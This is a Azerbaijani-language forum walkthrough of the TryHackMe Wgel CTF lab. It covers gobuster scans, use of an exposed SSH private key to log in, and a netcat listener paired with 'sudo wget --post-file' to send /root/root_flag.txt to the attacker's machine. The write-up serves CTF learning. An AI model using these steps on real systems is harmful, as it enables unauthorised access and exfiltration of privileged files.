TryHackMe: Wgel CTF

[Owner]

Salam bu forumda TryHackme: Wgel CTF sualina baxacagiq.


Ilk once hedef sistemi gobuster ile scan edirik.​

gobuster dir -u http://10.10.222.41 -w /usr/share/wordlists/dirb/common.txt

​

​

​

​

Saytda sitemap adinda directory oldugunu goruruk.Daha sonra /sitemap directory bir daha gobusterle scan edirik belkede basqa bir directory vardir.​

gobuster dir -u http://10.10.222.41/sitemap -w /usr/share/wordlists/dirb/common.txt

​

​

​

​

​

​

Scan bitdikden sonra .ssh adinda directory oldugunu goruruk.Bu bizim isimize yaraya biler. /sitemap/.ssh directory gedirik.












Budur bizim isimize yarayacaq ssh key tapdiq.Bununla biz ssh ile sisteme baglana bilerik. Bu id_rsa faylini kompyuterimize qeyd edirik ve asagidaki emr ile lazimi icazeleri veririk.

chmod 600 id_rsa

​

​

Asagidaki emr vasitesi ile ssh baglantisi qururuq​

​

ssh -i id_rsa [email protected]

​

​

Ve budur sistemdeyik....

locate flag.txt

emri ile flagi axtaririq.

User flagini tapdiq.

Indi root flagini tapmaliyiq. Bunun ucun root yetkisi lazimdir ancak biz bundan istifade etmeyeceyik. wget emri vasitesi ile root flagini rahatliqla oz kali linuxumuza gondere bilerik bunun ucun asagidaki emri istifade edeceyik.

Ilk once nc toolu vasitesi ile her hansisa portu dinlemeye alacagiq.

kali linux terminalimizda bu emri yazaq

nc -nlvp 4444

bu emr ile 4444 portunu izlemeye aliriq.

Daha sonra ifconfig ile oz kali linux IP adresini oyrenek.Ancaq diqqet edinki Tryhackme vpn ile baglanmisiniz ona gore tryhackmenin verdiyi ip adresini alin.


Daha sonra hedef servere gelib terminala bu emri yaziriq.

sudo wget -post-file-/root/root_flag.txt 10.2.0.203:4444

Daha sonra kali linux terminala daxil olub root flagini gore bilerik....


COPY PAST etmeyesiniz deye flaglari vermirem.Ozunuz hell edin​

 

[elsenoraccount]

Təşəkkürlər, maraqlı ctf di